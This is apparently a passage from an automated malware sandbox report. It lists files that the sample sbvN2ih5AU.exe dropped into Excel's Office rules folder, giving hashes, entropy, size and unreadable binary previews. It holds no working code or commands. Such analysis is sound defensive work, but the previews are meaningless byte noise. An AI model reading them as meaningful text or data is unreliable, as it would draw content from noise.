Preview:	<?xml..D..-.xMi......~..m...Y..P..D.\|.P..s..sM....q..t.@.Y..\|.f..n.(..%}.R..V.q.vc....Mb..9...H.!...b[.V9.QF=..X..C...K..+..=>...=...uC...t..O..J..#.....}.......b..oi.5.[.UC..H..\|.u..-..x....D.....Y..v.W5.<.....g....1.J.h..A.}?...D.....k[/...2...W.......8.jz..0.-.#..6..EI.Ga....k......=.O.b...w5S....6LX.e..7...].Q.{y...~.i..jx....(..z..V.}...E.....5..M.vhb&...........H..Q.J:3.i9G.f..d@?{%.....C'$..w....L.K.....8....v.9..o\H;0.jyEa....\|...!.f.l~g...3...c...N......Q).......^.\|....k.$..PS..UV/~..IH=...}wx2.(S.......<W..y..<.A;p...P0..\|.Ph...N"?..)..Q...;.:{....T.....~?..C...N..V...heCl.....!f.6.ta.1p..8.u..K.'s.:....#7..!.n..7.....9C.Lm.....`8.={G..koNs..@.G.3\....`. ....sl"..(...644.X....I...A.w...f.........K^.+N...y$-2e...\..E...f..c...... b.......}......b.X{.C..H..U.>p.x..J.....2...VW...M...i/.`..`u&......P.H.ny.9...d.........z..BxY/9.Yb.}~.v+.D..)..B!.G!....x.......F....xuH.....e].....kX.W...W..\.d.}"/vJ...6Iw...\u^S~.?u.R.....S.}T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.817328006880753
Encrypted:	false
SSDEEP:	24:9EMjIfITbJ5KpB7y63opVIjSJPo2SMQ8TNz6N1t7He2bD:cQTbJSy2sVJ5odMQwN6N1tjFD
MD5:	29873F6FA02B397588A1F0582C2026D6
SHA1:	6025B5518ED7F28A2B45FFB54A627C041F5044B5
SHA-256:	F2ED9A4A0674B233C600E16B881780824468643FF823A7F1C075FCFD55FC5434
SHA-512:	41FA76E5460330CABA0FD1EEF0EB46FB3DDDE6987A20E5461C34B8CB61F5C7C9CBC4AE74E61B351F350EF3C0296D7DFAE9BCE5191CFE1CD6CE03E80D7E8811E6
Malicious:	false
Preview:	<?xml'...di...5G]..h.....q.....4cF.A.........Q..Xr..L....HL.q...x.:O[......I...8C....F.}.\...(/..4.N\+(..B...ZU..u.{\......i..s....>..).U..i.K.y...sjh..X#.-... ........J..X.j.OH^~\|2j...C.....S.A..0.).G..P8...u.....Gd...c..K6_6%U.s....uF.^.........:.#.....r...7....Ok@+..v..Y.]..[o'1.^.w........5.\.^u..}+gE....H.oI7C(.7}...o.....<}...K\|..9.>y...(_.x.K..W..UZ.-..<...E.X\|g!...M.W..`s;\.<`.V......lls.w6..p.k......O..........;.p...Ol..Q.C.N..da.2.0k?.....@.&p....RP\|..i.C...TJ2A3..@Zh./Ly=...[.....[U.&S.zR.O.&.X..0...5Xgy.u.H.ps.....2.A}.f..?.cZ.....o..&.x^.1.~Tn..Q.6WXx.m-...{.YT..a.m...M0.:.+..z.4.4.&.Oh....q&.sX..m]L......@.a.j.9Ac.c.Ng]lV.U.xiH.}b.$...m..o..~.b....xF.2.......E./..`.#.@...o.y.R&..ac..T.yE.....9.........3..rG].E..m..B\.\!+.....H...r.....k.....!.j@O.......X..y..}o..D..d.......7.=...^..^vE.G..].{).]...N.O..q.kX.....?.1.tFb.....-..r_..BiLj....c.h.?..\..m...}.]-..o;..hzQ....?o-'..{..L..z.....>,.V..&S.>p+..1.H..X.qV(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.894896967197083
Encrypted:	false
SSDEEP:	48:xDHSByh1UMS1nCmvjcgdQOsfvSBWti1J8ZD:hHSByfUMS1XjczOsnSBwic
MD5:	BCEDB9BECCBFA778E1DA120C1EA438C5
SHA1:	DF563849EC9B71A9BAD49C3955450A8CEDB6F5AF
SHA-256:	6C951C287235AE66E22E1A3684C8A8E677745796197FCA7B12B4EF2BC49D0D7B
SHA-512:	5C6F0249ADAE1E184B15681137C3C2D32A5E1BF03314561B0F632CA98C4FAF6F8B3A27B5FE5380C57473A3D751FF486D3347E3E3E29466DF92E74D540ABD0BD8
Malicious:	false
Preview:	<?xmlS...\`...j..NeK._...c...nZU._..V.6.+w~...9..Z.%u........S..V.....<.....Nw..MC7....)S.N.8.E....[G.%v7..TK0..?..F. ....>.`.psc.).&J.ds......xg...X.K.PC?.P..\..x}..mh(#}.....Q,.98...X..............g......=..F...@~........(~$h..."...C.3.t.J..5dy$.9...".\....;..............v..;#n1 x..7...A.^..\|47.pY...l...u.....EP.....I.p.>.2U.<C2!U..:.(..I#.'..{.o.R-..R......5.h.B.u...coWC.S....T..~+t@.L....^..s.:.....Ph.O.\|..u. ..B./ .A~7L.s[...1....{...;.......{.. \8.....3.F..G....t...6........).E.....U....d@..ES.....(.b.k./zog.....}K...t]HH(.......8m..s.fHx;..9...........\|..,......}.....n.....B9`.n-.u...F.!^.3.a..8O...\B.[...r..1GF=....7.8...f......C.}.....J..0$.H...u...c......A.B..Lt..........Z.....P..........[......8W?.H.$..r@.;.....o<.A'.Hk.>...t....kW.L..9W..XA.n.E....6R....,.'?...G.....MC.......2...q.:.....y..'...!..~....R...y.*..P.N.......).=6..@.;..KH,......W[..,jI~}..W1.....=.5..pt02..i.\S.6....@+.f.v..^..2W.\|..Be.\..W#.]H[(.us.4..83{.i.v%<.f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.749387907982684
Encrypted:	false
SSDEEP:	24:vK5dOBzSiwRZfe12M1AiWKdiMNNCJ4rNRSO4oJx2bD:C5iSil12MG4RNNCCbSMKD
MD5:	EA2ABFB9DE2B1E879B4E46C8B9638A3B
SHA1:	74C88025AD325B0622358F1A6A70FC65FB76565B
SHA-256:	EF7F374F6954C673FF9AC4F856E49B5EEFD27958FCD214F894BDA65E92DEEE43
SHA-512:	10E5859A1B10BFC77937047D8F79808BA0F084286C5464BC86F1C5CED72530A0937F548710CB8DB93B00BB73DDE51A668D32BBE5F6A59F9E70DCCF415FF795B4
Malicious:	false
Preview:	<?xml~...1....".7u....Nx.".i..%...D..}-(.u...2,.jgC.....C.p....9U...}GLmE...r..5.ty..m.P..L..8k........7..^.m`_h.<?I.;...6..L....\|..m.q....ps..'r.2C.6..gBB.i/.=..mi.Q....9}).G..?;..~)..I\|._...._+.z`;.[...%..."...v.d'.... ..'{..X.M..{h......Y.6.............!.....K......"{}#..IU....t...{?.^.\."Gm...h.@k.....F.....=>...N...........0Y..[..~4.j.,l.(Dx......@...?_k....F.yK....".../...sG6..2.......6....7.4...(z.x")..]..t.gn].M.........t....6.h..]...u.y...e.>.dV.......n^O..[....N.\|Td5........u.t.9G..S....>Ogu]...\6b..\|N....'.6...#~DN...@g..G7z.A\|/e}Z..`.Y6. .....o....f.._+u...a.q....5._^;.[t$=Y..PD.@.......v.^.[N?.r....F;.....k....38.6..i.&=n@....W?.qX.......k^o.7...3..=."K.sq.8I..o.7..O._.r.\|f...<~e....+.~....=4.".$.m.y..K.GK...V.5....e..Q.......5....... .9E5.mM/j.ui.g..F..E.E..@]k9..._mI.g.Y.....\|>..1R.j....&....x..u.(>>I`b.1.3}.&t:Y..cp..&.o+.a..!....r;.k.c#..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.897367299999269
Encrypted:	false
SSDEEP:	48:XMlW2jgJ+Zbu1esgwXa2WIAqO/PSgzKtvdii9vmXIUtD:XMDgAJu1ehwXRSfut3lyIUV
MD5:	03FF72944C3D9337DF9BC61D58B25585
SHA1:	63A4A4DD2DE44E12F111777FF401EE94420C08B6
SHA-256:	3C6AD210ECC98C768C11DEB311343B72E76ADC4897C0EF2A8C2D9CD0D16589A0
SHA-512:	F831AE91848F1699C52D368224FB5E6AD8EB692AD0F73A04E129FF25D17146CD013DE0ECAE21E01D4B24A105805EF976348A88D120E188784C8B1007B50B5350
Malicious:	false
Preview:	<?xml?.?.G...K..?..I.{$...E.....d....X.97.G.U.../....`...i......j..\....z..8...4.l$\|bz.a.!b....... L.t0.X.9.../.)....TX....:`.x....Dy.H...:..1.*..<m.......x...'.J..[t..qf.#?I.V....l.e...c.p..(......<.:.L.H..!-...:..2Aj@....O....d....Fx......1L7.@..~..1..-.[..s.r.m+.....~....l...L........\|.y.Ar.......x.....bv..O..s....\|.S8....\.e....`6..!..OR.`r...N.v.....].T'..:.IZ..$...Z.[wY.f....R.N.,J....,<...A....s.Ay.Z....%..e...N...pl$... :..VTBu..5.=...9f.l).z...GZ.@...1......,.}..^....p+kH..R.L..;....D..h<=..4EQ-...qN...M....U'.....]N.4....!...........h...Zu..51.E\..!(..7'"J.U&..a.US....."e.}...9..B..0".o.....$$Hkz3.-.=.mR^iEa...B..h.....O.......2....].?...:.&....a..4.W..g..g...L.6.b..3........H....yaJ...k..a...f..~....u-..Sp......,Bpf&]ug.k[...<J0..'S..M0.>.' ....M...]..'r.j...w...1+=Z.....'8..w..'M..u...L.M..5..Y20']...!.1h.'...1!..j3!0.b....."Nzr.....`..Da....Z).$.xX.HuD..RJ...l.Xt.<.3.8....[3AB.z.\|.;.....".....x.s..F[...fL.a. .u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.952137899809303
Encrypted:	false
SSDEEP:	96:aVT/NeXLMzbUoqvlzMdE7/pdMpijDx1niKHUNrp3fBPAQnr:aVb0XUQoqdzMdsHMpibixNrp3JPTr
MD5:	9EA41B31AF4E8A774EE0581649E4855C
SHA1:	A7CB2EA53C87FB0378AFF1AAE4DB5EE16FD4ECC8
SHA-256:	D787C35B21D4110578BEBD0DF46BF0E099A502C52432545B54AF2DCA90F1AFD2
SHA-512:	0F10981C44FFC022EC8A65E92CF3C414BC23B9D96A55AB7A5B6839F64EB4AB0E36D7190BA244C22F31967D21A596420628B59701D7951443F7A0902200717024
Malicious:	false
Preview:	<?xml8..'.$..Y...=M..6.."&1%6..p......\OcI.J.;!....p.m[.%.".e~[.{#c.W..(.z..c..m.........N./0.\|.o.V.._.-.k.!....-.J/...Q.,...5Y.....e2{..2.kC....]..v....6s...l.....W...JtG.P=(....@.6.V.k.z!/N7\| ..M...e..Z....'..s....\w..;...0..)..@.Yh.I#.&'.R0.d".Dt...K......K.....a...#:..7T.{.n......+.3.E.?sd.n......@..P.`......7...2to?.../.........R..z6....a.;..0.B/c1et.G.......3...UZ...T....T.w..N.U.....8...(NJ)...U.\..5.....!...!1.:.g.._.#..].v.Rv.zw^..r.w..."t...>.....".#.....\...{...u.G@b.k..G.]]%..6..".....9o6.{.PF3..=.g~.Di..M0.".SG............./.d......C..!?Ji.V...'..a+.8.2e=... .=..Mp.+..b..e.Cm(..c..U.G..f...o.$....(L,%....U.PI".....R...O..p1........L..\|......1..S.t$.YoC...,.h.....u_b."..2.q........b.B:LC.l..h@#$J....V...... }......Y.h..>....v....8.#D.CKqtI\|."..=U.FPnTI.@..q.........E..i..+]_.~.S.Y..(.0..@o..\|i>..:t.. ..R....;....[:{..../S..[&.B.L..R./.L.-...LEWt...T...'..A..sd..u[..IIe........5;#.."I.E.."_%..E^....-T..xa .....Ev...\|;gm.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.879680746241583
Encrypted:	false
SSDEEP:	48:VyrSC642akzqnFBtLQTEbTczAKEqG/pUD:4pr2a4koAKEqG/2
MD5:	E59385061E65CE1C94E04AE6A80F8416
SHA1:	1F2B92061C96635267BF0A2C440D363A63692D7A
SHA-256:	B63A0C1B1F89FAACDD8BF3D1ACFFDDD913FEE77DCBB67D30CA6945A3DEFA4FA2
SHA-512:	E1DEA29B88594F0328D459ED77FD02F5595C7A8B072C73700DC676D4FACDBB453E6BF10F860CD90487CEFB414558AF15CE96D15C3A02A14D43EC3914F3214687
Malicious:	false
Preview:	<?xml.._wC~.....r......t....\...IA.....M_.6./...j......g.g..4<..@f.x......cg....d.H.....h..N.G..G..=......oc&....#?#}Z..7e'.s....s...I....NK......c...b..=Y...b1?...........\|.IYW..1z....[XO~.3W..^.of.ES......@....Hv..:....4.....Q.etiT..k....@:y..M.?V..'....,G.&.(.'..l -2.M.\.W..N...O......$..9.63.z..X..1.i.Z./2......O..3...#......=.p.Cw....@G.....[h.. G?.....^.+<@C.]P.4^.n.+....-/W.1._\|.......R....9..('Y..P...r.N8.....5./56...l....<.t.sY6..[.] ...A..........Y.h.`~.{.........B..~..l2.,d3a..??K.L..?&......7..A......7.v.&.(B6(.}..>.%.....>..M..x...r$.S._z.`...k...V.\|_...............A..x.3.X.".ug.....[]......\|=.Q.H-.n]d..4R.o;...de.X.....`...P...\x...w..S&.K.....c.....q..o.6...7...'.\,....k.u....p...J.... ..0\|B.l.F.....+.1..O.....'.1W......O...@..$..B....3...OdJu.....A-.<X..^../F.u)a..e...}....\|tB9....8.Or..rS....".a..=9W .\=.....;.Py.`A..8U.d^.j-...)({2.f:'...WQ:.y......]..o..7......N.].iz.....kX....+...7eW.....<!..F.j8?.....U.6.."..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.888804425716479
Encrypted:	false
SSDEEP:	48:9DKighjk/J0zcS188/jSTxB7J4HJwkdZcsD:Ne6/J0AR87N/ZcI
MD5:	5B2D8292ECCEE471D976A86EAAEF2064
SHA1:	7E52D756E56AE1C42D86E069181C715D96A58B84
SHA-256:	6BC2659D08D43748D83C6096456C031A62550DB0E05FA6BFA91C6CD8C58C1233
SHA-512:	6CBEECC537580CBA7398BAFD5240AD956AEA869B38B6E779BF6B151CE7E9C50614DA7469DDFAEC03A7E0626C60C8D97C9562189A4E907062B98047DA5708DB44
Malicious:	false
Preview:	<?xml8.._0q.{..s....h!..sM..G@.\.QS'Q../uG.0...1.~.....0.w.7...So...O.>G>........_~$.k.l...~.{.4.Pt..{.{....{.0.Bk........A.....9.Z.Bd..L.....s..W.J....;..^v{..#. ./....e?5.56H...j..yl.(....#....z....\|X...R.....b.O...O..W.a..81.....ZG...._)@.?.?-[RI...f...FKT..w..E....c.n..."W.\|.w'.4.&1..g.mR..k......{........E.....H5....>.....k..k.].BI."...Z6FT..1D....'.s........1d.}H.-....\|./......A@.........C[v...~n..5..k.I4d....L..o..h...q{eg.YE>.0.......q.&..=........J\...q..<..._...3....ol.<...1.W..!.$\..p..\.....N.J...]..M5...5......~..nk....h9.a.U.C_.....J.'A.4........i.Upn....U..L..e...?.ev.......07...^w+.8.\...p... .8HRU'.!...yh..v.^.P.xq4.z....3A.\|.{~..6v.F.".Ql....x... d...:\".e0%.q".\......h........BBK.l...x.........R..}:.....i=.d.>.d.c.\|.R.jc1.\|.X..u.\|.p.Z.<.}.-..\.T.O+r...{...xq.E.`.J.!_...!.!.ib.O.\|;.o..6..?....'E0....hC.&.D`D\|....8.qd1+..E.....W9....@E. ......?vn..;@..L..WR.........Z.l..#......j........Y0.@..^...Z..o..u...g.j{O.....u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.940339023684031
Encrypted:	false
SSDEEP:	96:OprALjUzePgothx35nHEIOfTgEbFB8c/5Q8gqC:OpMEzeZhx39kpTgaz8c/+0C
MD5:	DE8AB193D085F7EEBE3226EEB665EB6F
SHA1:	4F1F0C4AA7FEDD700741E85009E0EEC637A41B3F
SHA-256:	E0657EF630AC1732B8828C25B8FA0EB804B5AA37A588B7648D434B2796EAF5EF
SHA-512:	761D0232C3793B21715CAA0FA9E1961FD576EC335A256BDD58A4D616BA45879F35F57FDEA1A1FC2A7774B1110E9E2A6C06815D621E1E73593CCFEBD0757CDF62
Malicious:	false
Preview:	<?xmlG%..'..g..qj7'e.8.2..VW...V...#..<._..9Y0....?6O..!..w\|...]...i0$........G.3..?.u...b..u..x..V5...q...g<G.[..]..(..e<.....,"...&/..^....n3'{..0.!b....q.....Y..v9...rQdeR. .-3`.;5.......p.L......@ N.I..T<R.\.*.;g.2.^5....[ V...r...,4..@#m..9.....Y/.Zw...'...m...q..?O=.\|@...6W1...I.w...B9_.....{..^.Zy..n3a2......z.s.6N6-.M..\|H.t.......v.u..}2....%`...v-Q...`......L9..k..OK....X%.........O...Ti..2..T....E.C;..U..)S.?.oE.6.d......Q@.D.A...R....).....Rb....(e.F...-_.2>...AOY...e.f'x.0@...o.\...............-e......!>...MV[.l4.rn..]...Z..z. :o{2q!..&j5..\._...q[.D.X7....)...%C.\|.V.9.h.G'i.>....w.>..R@..... .y.........]....l;...q#`.8.g...'.'?...-,...]....3?ZO.W...LL.WeX......@i6u.&..y`...j.>....$.....F......]}.D...Xm\.FN..I.B.Q.(eo.?....m.....o...;s?L1.{C.1.f%.S...ME...ws3......u;.`..tJA?..'>....b.Jm....2V.k..........J%A....I........._@.>.6wm.S..........UJ...4\...d....5.....!@...].>....\|......hp.#.V6.',Qcn.^.1..r..C.B....9....Yf...].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.811157589862456
Encrypted:	false
SSDEEP:	24:ErUfL8ylMQENLQyElRbkJwsj3Fa6kh2bD:ErML8ylMLMlRbawsLF3D
MD5:	04DCF2D9286C9D817C1456775244F7F4
SHA1:	F35BB17C19C6F1A750B501F962CECABA955C0B43
SHA-256:	D60BA9CD32953234BE6ECC02EB9E085E7FE433A660C72CD99200EB61B211B560
SHA-512:	1F509970BE87D11A6ACF110A56ED895F6E5AA610E4891CEC13CAEC7E77A046069C6FC4B91901B0B08B56F28AC68F0A8853EE313EF987DF931059CCA2FBED8A58
Malicious:	false
Preview:	<?xml..rw.kv...$.4.....B..p(s{.f..LJB\|[...f..Z....r=.........7?....+}.z.D.h.lP....h...a.0_xR.oq.l.EV..V.#.^t``...\|...SL)..^....O.ds..w..M%............q.P..-.6LL\U.H....J..0d.:ps...3'0..&.\.....+?.r.....L.h.YU.7.^.jY.F/.$.f-.J...9<...n.,.%..1Y.o...@.l..V.."I.3...`.d.t.}.R3$...6....Q.0-`C.....B.m\|+.o....Min_e...}~,........+i.dW}..[. s.k[..uH3.#VNt._.,..?.A\|..r.&5).D...J/......}dNp.....i..x...c.g......H"....V...D........0......\P..H;N..S>V...F..l.......a.{{.'m...r..>i`c..j.4...oI...."......]\........'.>.'...eN..x.A/._i...M..a.~.-.r/z-.'.]......\|...I........,..+....MGc-c..N/..HS.k..))+..Rb._.x.._......_...x.#....+.....\.wE.n..@U`,....)...A..T)i.,...;L..).{...L.;...r....m.......gj.UX@U.e.m.i1^G..yR..Qj}.0.^.\|F...F...A........g&.....wM.3.c..Z.?. ..p..T.../.........f..8X..a'..o.>.AZ.b.N.Ac...IT5..ni.7L.'......JlQ.R..C.].x...\].'}..\...9..#..A..K'.&.v.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.921082441744732
Encrypted:	false
SSDEEP:	48:k0cQNWEAVjIDOXxZkEv/ucnLq0IdUoa7Si2rEmG7FqzKkZDwMfJD:WQPSju8xZbv7LQd4GPd2Mfh
MD5:	26E6859443DF24FE942130053942E5BC
SHA1:	AD709FA04B98FC9848C1ECD2F34965366D2BCFC9
SHA-256:	014C6798E1B35C5BA3ADCCFA19E94134960C07745A50DCA6F3DA8B7FB60FCCE4
SHA-512:	52AC2740BA821657118044638B90F530D20C3270CB628E0CBF0D0AD408B40585D7F2F73F1529C70DA6AF7DF7D501A8CC4CBECA1CCD6BDE4595B215A0AC1C79E8
Malicious:	false
Preview:	<?xml..K:5..mo`I.T.+.5.3.t.,....n.....n..@.w.....m...D.....)..W5+I~'zR.lU.d...K.8..?..GKw/=.`..il...2Ij"!.k.......;d..Z6a2.U._Q!..l...'.#[..l.].9..?.a(F'..i.._.`.].....T.w.C.e.....Fz...p......d\HkZ..'%&....Q!X.b~.t..C........-dh..}.n.{3...!....^....le@.3...[...$..^.ZN>..eU.]....0\...+.. .R@`T.....!>@.1<....h.B....\|.#.e.CP.;..OR......$....`M8B.DQED..Q.....Gl.?Y..a....$..)y m..{6.e.V..B.TEB[.0lr..G....Ohd@EmX&.".w!...pc..U...... Q.^...wZ.......!.......5....?/.h..:r.....f2lQYn..8fr.p.0...J..$o.v.v.I.r..x.[.}.....Q.5b.ef.......[b.K..<.>q.o....&.....8d.....].......'D..u&.("[.....s...5...4.n)V....#....]-B/+J...YR.7B..{.)\|..l..<.]..k\|........`"..M.g:.WO].9.4,#.H.D..^....r.v....J...T;...~a ..U.!.Y...2%M...+Y....6.;-9.mb..6R.g,.{y.B...Dk..ON.-.C....&3.l'....~..z;...h0.............2.aR.U8.a....<K.^..y..........g.k.L*..OB..7(.....S...[xN.s4.Wf..KC.......;....I.Hjm.^..3L......o...]..p.b1...@&...Mc...F.6.tT.\.,....?....GP@..y]..BJ..........\l.._.....<.M..r..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.948672691911968
Encrypted:	false
SSDEEP:	48:1PxCGIPYscpnVE9RTanF8blLp6cR5NR9TUbixPAel14tTcVFm61IqtCg8RdcAVvz:xEGB4gWX6E5ub2i6GldFv1nx
MD5:	C8DE7F98EDC5C0E5D8751F42A4DE4EA3
SHA1:	9D6E38CDB0938759A83206BBC9037328A7672E69
SHA-256:	03797B69F0AE2AA7CC1AAB79678BE135F3DE6C941B8EEE30BCAE1E1D93E178DF
SHA-512:	736F0643FFA6250728F2759AB294C3C908C5C33E7CDE795FF2DDDC6A7E8191AB4E4900A796A6C835A6CEE20DF7D33545AC30537EEF314B63186CDD03E524789C
Malicious:	false
Preview:	<?xml.@N..4Q@..;..v..........c.......%..&...@6..O&....9....q].N..9Z...g........h!...!..m.....8...K.A0W\...j....!...?...M..c[.cm.,...&..7._...3.V...8j...x.E.g.?.A...kD.k......]D.......mj,N...Z.V7C.T...b'm[.........b...}3......d.[../...G. ..Z....0...r...E..j.P......w.....Vx.=J.\..3.y..%.;k..a..Y....t...."....TS...8.<.UW...[...M..l..OF.k......(.rZ..`.@.N.=b.\v....L.M.0@c.\+...o>..3......BC....D...UK....(.w;`..2..$. .5z{y.V....\|n._.7..T......=..rUo...%A~v..5..JR./.....X9..K..../:.j..].d.H=].(.J..Y....Qv...@.5.%.'2._.xx.k......."Y...,..~Y....%..V...j.c...S.../s,..&\|.<..t.......(4../..r.a.A..W.zC.."..J.rq;}...e.G).....%..H..=..p[r...3u.!...&^..H...2;(..n.ZkWQ..d^...r../O_..C..+.T.G.../..Y y1..%.@.b.J.e.v{. 2M.1_.[.l....N..v.T.........Nu.ec{.!.dsY..\bRp..s..Yf....X.Uh.W7......K..x-....e..0.I.u.:.-.O.,FUE^....M4..D...M....F..E!.~.3.Vt__V)...f`B..<.........,.lO..Q.Wj.........@u.Zkx{EW..;1...ol^o..sm.Ey..H.xG..+..4=.0.6..9...............?.;.3.*_.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.92080781238729
Encrypted:	false
SSDEEP:	48:BamRjR/QT1mKv1Dd/lz2vQp0Bubts4tMLqiAt0l9D66OCEjc4b65sA/2jCSD:4mD/QTZJsGbtJMLqiAt0ldJEg4WWA/2r
MD5:	DFF039A202435EA4F268D0727B4E60B6
SHA1:	F2C58CC5AF5006418E88090E4710160F84F96D60
SHA-256:	DC1522164FEA538493C92627A46A31E421940CCC6E9EA82F35623F51E16C058B
SHA-512:	5687ED0561F575E04F5FFC00C09E499C766E533ABF1F55F7CDF9A7B60885348ADB3434197A5C86C95FBD42CB5890C573CB99064E5AFEFF1A86169A8A8EE522BB
Malicious:	false
Preview:	<?xmlO..Rjm&......^...L:.jFgOnpTT..>.XFP.9Z.....$ce...6f...o..E....[.g..0~.E.4..O..LOJ.5.........'..p.R.P)....GK../\.3(..W.o...E?.(i5.cY.\|$.......}X.?......@0D.#.(X.........`..G....v.2.#{......p.....:...D..{.{.Z.8....F>;.n$....Z.?..r..:aQ..P...(k...a.....\|}....Bwk[U:Y.IL..,..D`.../..D..Q...0.gI.)....F..).%y^6...TN.cu.r6.0..~....A...M.hH.M..Hj..4..Us2U...H.z.....@m.3.+x.<g.....,.3I...g..Y:.^..".6....:SB.m.....N@..!d..].`...yWr9.3.!3.K..'.{?K..r}.7....b...e.....l.!@.>`.vx..........}..W%.......k)h.n....2.......\|...+.SV3.8.........Vd5j:....!W-x.L...t..$.NW..f..^L]>o..... ..(.W........Z...s.&..0.[.n...X>9.?xRl..?...'.\g..@....%....f\|..,fLK?,.K...L.k..f...b.3~.....1........G.R+..#._Dv5.U.n.8P....J_.+i.........u..F.{..B"..Hf.3'.....+....,...W~v_iU..2...$N.,.y..L.~.8.._IS.w..n...6Y....0v.....;N.+...B..?K..k.O''.1...S.g..7.2..E:..TW...vgU..fzu&.....;..8.kA.....WQ..3.R......7.m..U.k.}>.-...../...b+.S.I.5....b.)........g+t..:g.#.....Z.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.820901008906466
Encrypted:	false
SSDEEP:	24:N3QFYCWhJp7A6kZ6+fRysIi/Z7AUYSyYcLn54ZO1FdBN+2bD:ZJtJphX+ZysIi/XYS+591FdND
MD5:	B36874B91788C12C0D1B5191052F7003
SHA1:	B404D4B485133673A47961D641040B54ECD1DACA
SHA-256:	1B77AFD3299AA6EA8B3B00B1552B12F2DD5B7BA4D68825425598A48CD58281FB
SHA-512:	89640D3C28E3E3B8333E889A74F573160BF3D078570A16640E057C1B652EBF7C3A08CDE2AF3AE7C31A00BCADFFD8B6650E4EAF6BE85262F62EAFC5B22B09E293
Malicious:	false
Preview:	<?xmlk.......{.......P .B........6J.,.(....Tv....!..m...?.V.j+..L../.H.u..~.....-U...7.I.Ew....nR...,S.........k,....?b...M.r6..\...Ka....5..3s......>SG...8.~.+T...........U>...Z.L.....N..6r.9...!o.^...n...<.q...C..P...4...C....z.jS+...$.<..S....1....}..D.]..`2.@.....+5....o....Y;.K.2``.......I....SG~S..C.(%.?h...g.v..A\|..z......tF....?.!...-EY<..w>$(..Y?.`J%.m.D.1...\...i.....X..b..&h.........N.V.....z.`.}e...n.}............B....C....B4g....0..r...SB...&A.R-......e;F..F...n.l..H....A.SI}Q.z.._.&2?.nj......$6EU.&.}..bv..5G."...{...x.\.Z.h?{..o.v...'....T..?.+..Z....gXZ..T}..En...a[..PK...V..).+..(.-.0...F.-<.d....uB..J.v].W..K...Z....9....g.......Z4.,..w....QRu.K....~@.~.g.Zzz...I..L.....w._..p@$1+N..Q@9%rZ].\|.B...z...QD..Q{.G..S.O.ho.".H..Nbd..L;..T....1.d.`%U.SYlV...(M.zRdpc..,....F@.F<..5..C.FJ.......d..-0..\|.......y.Z.II=.6X..?ot2..~.MN./M...@.....-Z........ 8,....m.........C..p...JT.\.......2..WN<R._.8j.W.o.(c...T..u....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.770478295705409
Encrypted:	false
SSDEEP:	24:W4lgYq2GViKuuVW6NEImwQya3P8GpXaaLiWof4j4no/2bD:W4mYqbgKuuVWBEQj/8qVLiWof4/cD
MD5:	75227A18735E459AC1669B482CC31847
SHA1:	89695B3B5DC3CEA3FD472FBF2ED329B1F7AE5FAC
SHA-256:	53E3E46E58FBC95B521089AC4939875362A37AB3845DAE9E83472440D0C9D705
SHA-512:	A7838469967F08C148C11C1707F384FD8890CDC769002DF044C20E64561C0CBCE7A950EC409C14452DD269D7B0AEE8C4840AB105EE8FA5CC02CCCF1090EDF3FB
Malicious:	false
